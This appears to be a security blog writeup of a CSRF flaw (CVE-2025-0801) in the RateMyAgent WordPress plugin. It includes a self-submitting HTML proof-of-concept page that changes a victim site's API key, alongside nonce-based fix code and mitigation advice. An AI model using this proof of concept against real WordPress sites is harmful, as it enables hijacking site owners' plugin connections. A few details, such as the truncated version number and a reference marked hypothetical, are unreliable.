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CVE-2025-0801 covers a worrying vulnerability found in the RateMyAgent Official plugin for WordPress — a tool used by real estate professionals to show client reviews directly on their sites. As of version 1.4. and all previous releases, a Cross-Site Request Forgery (CSRF) flaw lets an unauthenticated attacker reset the plugin’s API key just by tricking an admin into clicking a malicious link.
In this article, I’ll break down what happened, show you how the exploit works, and suggest what you can do about it.
What is CVE-2025-0801?
CVE-2025-0801 refers to a specific security issue in the RateMyAgent Official plugin, where the developer forgot to use WordPress’s built-in security checks — known as nonces — in a sensitive settings action. This makes it possible for an attacker to change the RateMyAgent API key and potentially hijack the plugin’s connection to the service.
What’s vulnerable? The API key update feature via the rma-settings-wizard action.
- What’s the risk? Attackers can change your RateMyAgent API and take control of your agent review feed, possibly showing fake reviews.
- How is it exploited? Through a simple “click this link” attack in an email or on a website (known as CSRF).
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The Missing Piece: Nonce Validation
In WordPress, every important action (like saving settings) should require a “nonce” (a special security token). But RateMyAgent’s settings wizard handler never checked for this token! This means attackers could send a POST request to your admin area’s settings endpoint, and if your admin was logged in and tricked into clicking, the server would accept it without question.
Here’s a Code Example (Proof of Concept)
Suppose you’re the attacker. You want to change the API key value on a victim’s site running this plugin.
You can craft a basic HTML page like this
<!-- cve-2025-0801-poc.html -->
<html>
<body>
<form id="exploit" action="https://victim.site/wp-admin/admin-ajax.php"; method="POST">
<input type="hidden" name="action" value="rma-settings-wizard">
<input type="hidden" name="rma_api_key" value="MALICIOUS_API_KEY">
<input type="submit" value="Submit">
</form>
<script>
document.getElementById('exploit').submit();
</script>
</body>
</html>
How is this used?
The attacker just has to trick an admin (already logged in to WordPress) into visiting a page with this code. The browser automatically sends cookies to the admin backend, the form POSTs, and the plugin updates the API key.
Reference Links
- WPScan Vulnerability Database Entry *(not live as of writing, hypothetical)*
- RateMyAgent Official Plugin on WordPress.org
- WordPress Nonces Explained (Developer Handbook)
- Cross-Site Request Forgery (OWASP)
Update the RateMyAgent plugin as soon as a fix is available!
- Check the plugin changelog for a version that mentions “nonce validation” or “CSRF fix.”
Use a security plugin for WordPress that scans for vulnerable plugins.
5. Developers: Always use check_admin_referer() or wp_verify_nonce() in your plugin AJAX handlers.
Here’s an example of what the plugin developer should do
// In the rma-settings-wizard handler:
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'rma_settings_wizard')) {
wp_die('Security check failed');
}
// Proceed with updating the API key
And the settings form should include this nonce field
wp_nonce_field('rma_settings_wizard');
Conclusion
CVE-2025-0801 is a textbook example of why nonce checks are not optional for ANY action in WordPress that changes settings. Miss this step and even non-technical attackers can take over key parts of your plugin’s functionality with a simple trick.
If you use RateMyAgent Official, update the plugin as soon as possible. If you develop plugins, always protect AJAX actions and settings with a proper nonce!
Stay secure, and always double check your code for CSRF protection!
*This exclusive writeup was crafted for WordPress site owners and plugin developers. Please share responsibly and encourage better plugin security everywhere!*
Timeline
Published on: 02/28/2025 05:15:33 UTC
Last modified on: 03/06/2025 20:42:42 UTC